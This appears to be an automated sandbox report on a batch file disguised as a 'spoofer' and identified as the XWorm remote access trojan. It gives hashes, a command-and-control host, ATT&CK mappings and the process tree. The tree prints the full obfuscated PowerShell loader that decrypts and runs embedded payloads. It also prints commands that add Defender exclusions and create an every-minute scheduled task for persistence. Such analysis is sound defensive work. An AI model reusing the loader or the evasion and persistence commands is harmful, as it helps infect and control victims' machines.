xworm | 577c05e3a4882a69fe2a06ac772ee8742bb54c9a098a34ccdcd00da7815adc30

Analysis

max time kernel
29s
max time network
35s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20250113-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20250113-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
24-01-2025 14:37

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General

Target

EzSpoofer.bat
Size

291KB
MD5

9524fa679cf2b883fddf8dfe3f0c2c4f
SHA1

2b20ad331b377685226e8e40d5c7364d102f0735
SHA256

577c05e3a4882a69fe2a06ac772ee8742bb54c9a098a34ccdcd00da7815adc30
SHA512

a38743fe6c3bf55dab74b5c04f785345a420ed23c1513ce0901f1f78e28f277c8c49cad809c909a2bb0cb9e16d98ce88dd92a241e11f4ab4e128728077b3c42d
SSDEEP

6144:yUkjDHOfsQkBWTAaCi+oG7RZAkehxo4CzC1a5TAl2K9:yvPuE3BIQTEjPv5

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

IDKTOBEHONESTNIGAS-56344.portmap.io:56344

Attributes

Install_directory
%ProgramData%

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/4636-16-0x000002A01D7B0000-0x000002A01D7C8000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 13 IoCs

flow	pid	Process
16	4636	powershell.exe
25	4636	powershell.exe
28	4636	powershell.exe
29	4636	powershell.exe
32	4636	powershell.exe
33	4636	powershell.exe
34	4636	powershell.exe
35	4636	powershell.exe
36	4636	powershell.exe
37	4636	powershell.exe
38	4636	powershell.exe
39	4636	powershell.exe
40	4636	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4636	powershell.exe
2256	powershell.exe
2028	powershell.exe
2600	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3032	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3982764349-3037452555-3708423086-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\ProgramData\\powershell.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3472	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4636	powershell.exe
4636	powershell.exe
2256	powershell.exe
2256	powershell.exe
2028	powershell.exe
2028	powershell.exe
2600	powershell.exe
2600	powershell.exe
3032	powershell.exe
3032	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4636	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeIncreaseQuotaPrivilege	2256	powershell.exe
Token: SeSecurityPrivilege	2256	powershell.exe
Token: SeTakeOwnershipPrivilege	2256	powershell.exe
Token: SeLoadDriverPrivilege	2256	powershell.exe
Token: SeSystemProfilePrivilege	2256	powershell.exe
Token: SeSystemtimePrivilege	2256	powershell.exe
Token: SeProfSingleProcessPrivilege	2256	powershell.exe
Token: SeIncBasePriorityPrivilege	2256	powershell.exe
Token: SeCreatePagefilePrivilege	2256	powershell.exe
Token: SeBackupPrivilege	2256	powershell.exe
Token: SeRestorePrivilege	2256	powershell.exe
Token: SeShutdownPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeSystemEnvironmentPrivilege	2256	powershell.exe
Token: SeRemoteShutdownPrivilege	2256	powershell.exe
Token: SeUndockPrivilege	2256	powershell.exe
Token: SeManageVolumePrivilege	2256	powershell.exe
Token: 33	2256	powershell.exe
Token: 34	2256	powershell.exe
Token: 35	2256	powershell.exe
Token: 36	2256	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeIncreaseQuotaPrivilege	2028	powershell.exe
Token: SeSecurityPrivilege	2028	powershell.exe
Token: SeTakeOwnershipPrivilege	2028	powershell.exe
Token: SeLoadDriverPrivilege	2028	powershell.exe
Token: SeSystemProfilePrivilege	2028	powershell.exe
Token: SeSystemtimePrivilege	2028	powershell.exe
Token: SeProfSingleProcessPrivilege	2028	powershell.exe
Token: SeIncBasePriorityPrivilege	2028	powershell.exe
Token: SeCreatePagefilePrivilege	2028	powershell.exe
Token: SeBackupPrivilege	2028	powershell.exe
Token: SeRestorePrivilege	2028	powershell.exe
Token: SeShutdownPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeSystemEnvironmentPrivilege	2028	powershell.exe
Token: SeRemoteShutdownPrivilege	2028	powershell.exe
Token: SeUndockPrivilege	2028	powershell.exe
Token: SeManageVolumePrivilege	2028	powershell.exe
Token: 33	2028	powershell.exe
Token: 34	2028	powershell.exe
Token: 35	2028	powershell.exe
Token: 36	2028	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeIncreaseQuotaPrivilege	2600	powershell.exe
Token: SeSecurityPrivilege	2600	powershell.exe
Token: SeTakeOwnershipPrivilege	2600	powershell.exe
Token: SeLoadDriverPrivilege	2600	powershell.exe
Token: SeSystemProfilePrivilege	2600	powershell.exe
Token: SeSystemtimePrivilege	2600	powershell.exe
Token: SeProfSingleProcessPrivilege	2600	powershell.exe
Token: SeIncBasePriorityPrivilege	2600	powershell.exe
Token: SeCreatePagefilePrivilege	2600	powershell.exe
Token: SeBackupPrivilege	2600	powershell.exe
Token: SeRestorePrivilege	2600	powershell.exe
Token: SeShutdownPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeSystemEnvironmentPrivilege	2600	powershell.exe
Token: SeRemoteShutdownPrivilege	2600	powershell.exe
Token: SeUndockPrivilege	2600	powershell.exe
Token: SeManageVolumePrivilege	2600	powershell.exe
Token: 33	2600	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3620 wrote to memory of 4636	3620	cmd.exe	85
PID 3620 wrote to memory of 4636	3620	cmd.exe	85
PID 4636 wrote to memory of 2256	4636	powershell.exe	90
PID 4636 wrote to memory of 2256	4636	powershell.exe	90
PID 4636 wrote to memory of 2028	4636	powershell.exe	94
PID 4636 wrote to memory of 2028	4636	powershell.exe	94
PID 4636 wrote to memory of 2600	4636	powershell.exe	96
PID 4636 wrote to memory of 2600	4636	powershell.exe	96
PID 4636 wrote to memory of 3472	4636	powershell.exe	99
PID 4636 wrote to memory of 3472	4636	powershell.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0V3kVtJZ/RnJS/1KnDl9kRNJa4hjwKb/wS09GjV1yoI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PWhCalcBIWTHvOEwx/NKyQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $oWlOe=New-Object System.IO.MemoryStream(,$param_var); $tikAk=New-Object System.IO.MemoryStream; $hdfbY=New-Object System.IO.Compression.GZipStream($oWlOe, [IO.Compression.CompressionMode]::Decompress); $hdfbY.CopyTo($tikAk); $hdfbY.Dispose(); $oWlOe.Dispose(); $tikAk.Dispose(); $tikAk.ToArray();}function execute_function($param_var,$param2_var){ $HCNpH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IoHdh=$HCNpH.EntryPoint; $IoHdh.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat';$fQNIN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat').Split([Environment]::NewLine);foreach ($SSNIA in $fQNIN) { if ($SSNIA.StartsWith(':: ')) { $dFMGe=$SSNIA.Substring(3); break; }}$payloads_var=[string[]]$dFMGe.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4636
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\powershell.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2600
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\ProgramData\powershell.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3472

C:\ProgramData\powershell.exe
"C:\ProgramData\powershell.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\powershell.exe

Filesize
445KB

MD5
2e5a8590cf6848968fc23de3fa1e25f1

SHA1
801262e122db6a2e758962896f260b55bbd0136a

SHA256
9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3

SHA512
5c5ca5a497f39b07c7599194512a112b05bba8d9777bee1cb45bf610483edbffff5f9132fee3673e46cf58f2c3ba21af7df13c273a837a565323b82a7b50a4d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
26c94c408a5a2e1e04f1191fc2902d3e

SHA1
ce50b153be03511bd62a477abf71a7e9f94e68a5

SHA256
86ad00a425874b935cc725f83780add09d08d7dc9cbfb705821955fe937c05ec

SHA512
70e7bc620b369d7d0fcf06f93da000819bf089a502f1014641ad14d56ead22f31c25b97363296fd3749c63bde6db3bf115b33504b160485d792e1331c337b586

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a1bafdfa6ee8d81727db67fc12d9e3f2

SHA1
c22129ce21faba480196334c9a7d7b2c967b0729

SHA256
aeadfd69f302dac8ff81f9d4ea10499d7a80c72cc3cfab04624d612e0c75aacb

SHA512
b7bd1203032ccab2cee0296fe17e15517bbd2e09ec7fb3c357fe46e370f6fd20b7028cf2154fd08358ab15fff0120b7d7f7149c6ada312f0d65d2ea23405487b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4m42dfae.1gw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2256-29-0x00007FFD61FF0000-0x00007FFD62AB2000-memory.dmp

Filesize
10.8MB

Download
memory/2256-32-0x00007FFD61FF0000-0x00007FFD62AB2000-memory.dmp

Filesize
10.8MB

Download
memory/2256-17-0x00007FFD61FF0000-0x00007FFD62AB2000-memory.dmp

Filesize
10.8MB

Download
memory/2256-27-0x00007FFD61FF0000-0x00007FFD62AB2000-memory.dmp

Filesize
10.8MB

Download
memory/2256-28-0x00007FFD61FF0000-0x00007FFD62AB2000-memory.dmp

Filesize
10.8MB

Download
memory/2256-35-0x00007FFD61FF0000-0x00007FFD62AB2000-memory.dmp

Filesize
10.8MB

Download
memory/3032-78-0x0000022A3BE20000-0x0000022A3BE96000-memory.dmp

Filesize
472KB

Download
memory/3032-77-0x0000022A3BD50000-0x0000022A3BD94000-memory.dmp

Filesize
272KB

Download
memory/4636-31-0x00007FFD61FF3000-0x00007FFD61FF5000-memory.dmp

Filesize
8KB

Download
memory/4636-14-0x000002A01D500000-0x000002A01D508000-memory.dmp

Filesize
32KB

Download
memory/4636-30-0x00007FFD61FF0000-0x00007FFD62AB2000-memory.dmp

Filesize
10.8MB

Download
memory/4636-0-0x00007FFD61FF3000-0x00007FFD61FF5000-memory.dmp

Filesize
8KB

Download
memory/4636-13-0x00007FFD61FF0000-0x00007FFD62AB2000-memory.dmp

Filesize
10.8MB

Download
memory/4636-12-0x00007FFD61FF0000-0x00007FFD62AB2000-memory.dmp

Filesize
10.8MB

Download
memory/4636-11-0x00007FFD61FF0000-0x00007FFD62AB2000-memory.dmp

Filesize
10.8MB

Download
memory/4636-6-0x000002A01D520000-0x000002A01D542000-memory.dmp

Filesize
136KB

Download
memory/4636-16-0x000002A01D7B0000-0x000002A01D7C8000-memory.dmp

Filesize
96KB

Download
memory/4636-15-0x000002A01D770000-0x000002A01D7A8000-memory.dmp

Filesize
224KB

Download
memory/4636-79-0x000002A01DB60000-0x000002A01DB6C000-memory.dmp

Filesize
48KB

Download